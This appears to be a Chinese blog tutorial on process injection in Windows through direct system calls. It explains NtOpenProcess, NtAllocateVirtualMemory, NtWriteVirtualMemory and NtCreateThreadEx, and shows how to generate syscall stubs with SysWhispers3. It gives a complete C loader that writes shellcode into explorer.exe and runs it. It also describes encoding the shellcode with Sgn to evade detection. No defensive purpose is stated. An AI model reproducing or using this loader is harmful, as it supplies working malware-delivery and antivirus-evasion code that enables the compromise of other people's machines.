系统调用来进行注入,不明白的可以https://blog.csdn.net/qq_34479012/article/details/128892693
这里使用到如下几个函数:
NtOpenProcess
NtAllocateVirtualMemory
NtWriteVirtualMemory
NtCreateThreadEx
NtClose
这些函数都是R0层的函数。
例如NtOpenProcess函数,他就好比我们使用的OpenProcess函数。
我们可以使用x64dbg来调试一下:
这里如下测试代码:
int main() {
HANDLE hp;
DWORD pid = 6624;
hp = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION,TRUE,pid);
return 0;
}
在命令这里输入:
bp OpenProcess
点击断点就可以看到了。
跟进去可以看到它调用了ZwOpenProcess,这里的Nt和Zw是一样的只是名字不同而已。
紧接着我们来看一下使用R0层的进程注入。
NtOpenProcess函数:
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId
);
第一个参数就是指向HANDLE类型的变量指针。
第二个参数表示对进程对象的访问权限。
第三个参数是一个结构指针,这个结构应用于进程对象句柄的属性,需要注意的是这个结构ObjectName字段需要设置为NULL。
第四个参数就是客户端的ID。
如下代码:
HANDLE processHandle;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
CLIENT_ID clientId = { (HANDLE)pid, NULL};
NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);
NtAllocateVirtualMemory函数:
这个函数等价于VirtualAlloc。
__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(
[in] HANDLE ProcessHandle,
[in, out] PVOID *BaseAddress,
[in] ULONG_PTR ZeroBits,
[in, out] PSIZE_T RegionSize,
[in] ULONG AllocationType,
[in] ULONG Protect
);
第一个参数表示进程的句柄,这里的句柄可以理解为文件,线程数等等。
第二个参数表示指向变量的指针,这个变量接收的是已经分配区域的基地址。
第三个参数一般设置为0即可。
第四个参数写你shellcode的大小即可。
如下代码:
unsigned char shellcode[277214] = {};
SIZE_T shellcodeSize = sizeof(shellcode);
LPVOID baseAddress = NULL;
NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory函数:
这个函数其实就是copy shellcode到内存中。
NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL );
第一个参数就是我们上面的句柄,第二个参数上面那个Address那个地址,第三个参数就是你的shellcode,第四个参数就是你shellcode的大小,最后一个设置为NULL即可。
NtWriteVirtualMemory(processHandle, baseAddress, &shellcode, sizeof(shellcode), NULL);
NtCreateThreadEx函数:
NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);
那么这些API函数如何获取呢?
这里可以使用SysWhisper3这个工具。
下载地址:
https://github.com/klezVirus/SysWhispers3
下载之后输入如下命令:
python3 syswhispers.py --functions NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o sys_mem
他会生成如上三个文件。
我们将这三个文件放到使用记事本打开,然后再VS中创建头文件,将sys_mem.h的内容复制到我们创建的头文件中。
然后再将sys_mem.c和.asm这两个文件放到我们的项目中即可。
然后右键项目->生成依赖项->生成自定义。
这里将masm勾选上即可。
然后右击sys_mem.asm文件,点击属性。将项类型改为Mircrosoft Macro Assembler即可。
然后我们来到主项目文件将sys_mem.h头文件包含进去即可。
#include "sys_mem.h"
现在我们就可以直接使用上面的那些函数了。
如下完整代码:
unsigned char shellcode[] = {shellcode};
SIZE_T shellcodeSize = sizeof(shellcode);
int main(int argc, char* argv[])
{
DWORD pid = //这里写你要注入进程的id 推荐explorer.exe;
HANDLE ph;
OBJECT_ATTRIBUTES oas = { sizeof(oas) };
CLIENT_ID clid = { (HANDLE)pid, NULL};
NtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oas, &clid);
LPVOID Addresss = NULL;
NtAllocateVirtualMemory(ph, &Addresss, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(ph, Addresss, &shellcode, sizeof(shellcode), NULL);
HANDLE threadHandle;
NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, ph, Addresss, NULL, FALSE, 0, 0, 0, NULL);
NtClose(ph);
return 0;
}
紧接着我们使用Sgn对我们的shellcode进行加处理。
然后使用WinHex打开。
edit->copy Block->C Source。
copy之后放到我们的代码中即可,然后将类型改成char类型即可,然后指定下explorer.exe的进程pid,然后编译。
编译之后直接打开即可。